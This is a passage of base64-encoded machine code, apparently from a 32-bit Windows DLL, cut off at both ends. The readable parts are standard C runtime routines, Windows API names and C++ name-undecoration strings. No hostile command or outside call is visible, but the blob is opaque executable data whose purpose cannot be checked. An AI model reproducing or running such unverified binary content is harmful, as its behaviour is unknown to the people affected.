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V3AAAAACBkZWxldGUAPQAAAD4+AAA8PAAAIQAAAD09AAAhPQAAW10AAG9wZXJhdG9yAAAAAC0+AAArKwAALS0AACsAAAAmAAAALT4qAC8AAAA8AAAAPD0AAD4AAAA+PQAAKCkAAH4AAABeAAAAfAAAACYmAAB8fAAAKj0AACs9AAAtPQAALz0AACU9AAA+Pj0APDw9ACY9AAB8PQAAXj0AAGB2ZnRhYmxlJwAAAGB2YnRhYmxlJwAAAGB2Y2FsbCcAYHR5cGVvZicAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHN0cmluZycAAAAAYHZiYXNlIGRlc3RydWN0b3InAABgdmVjdG9yIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGBkZWZhdWx0IGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZpcnR1YWwgZGlzcGxhY2VtZW50IG1hcCcAAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAYGVoIHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgdWR0IHJldHVybmluZycAYEVIAGBSVFRJAAAAYGxvY2FsIHZmdGFibGUnAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnACBuZXdbXQAAIGRlbGV0ZVtdAAAAYG9tbmkgY2FsbHNpZycAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgbWFuYWdlZCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBlaCB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAGBkeW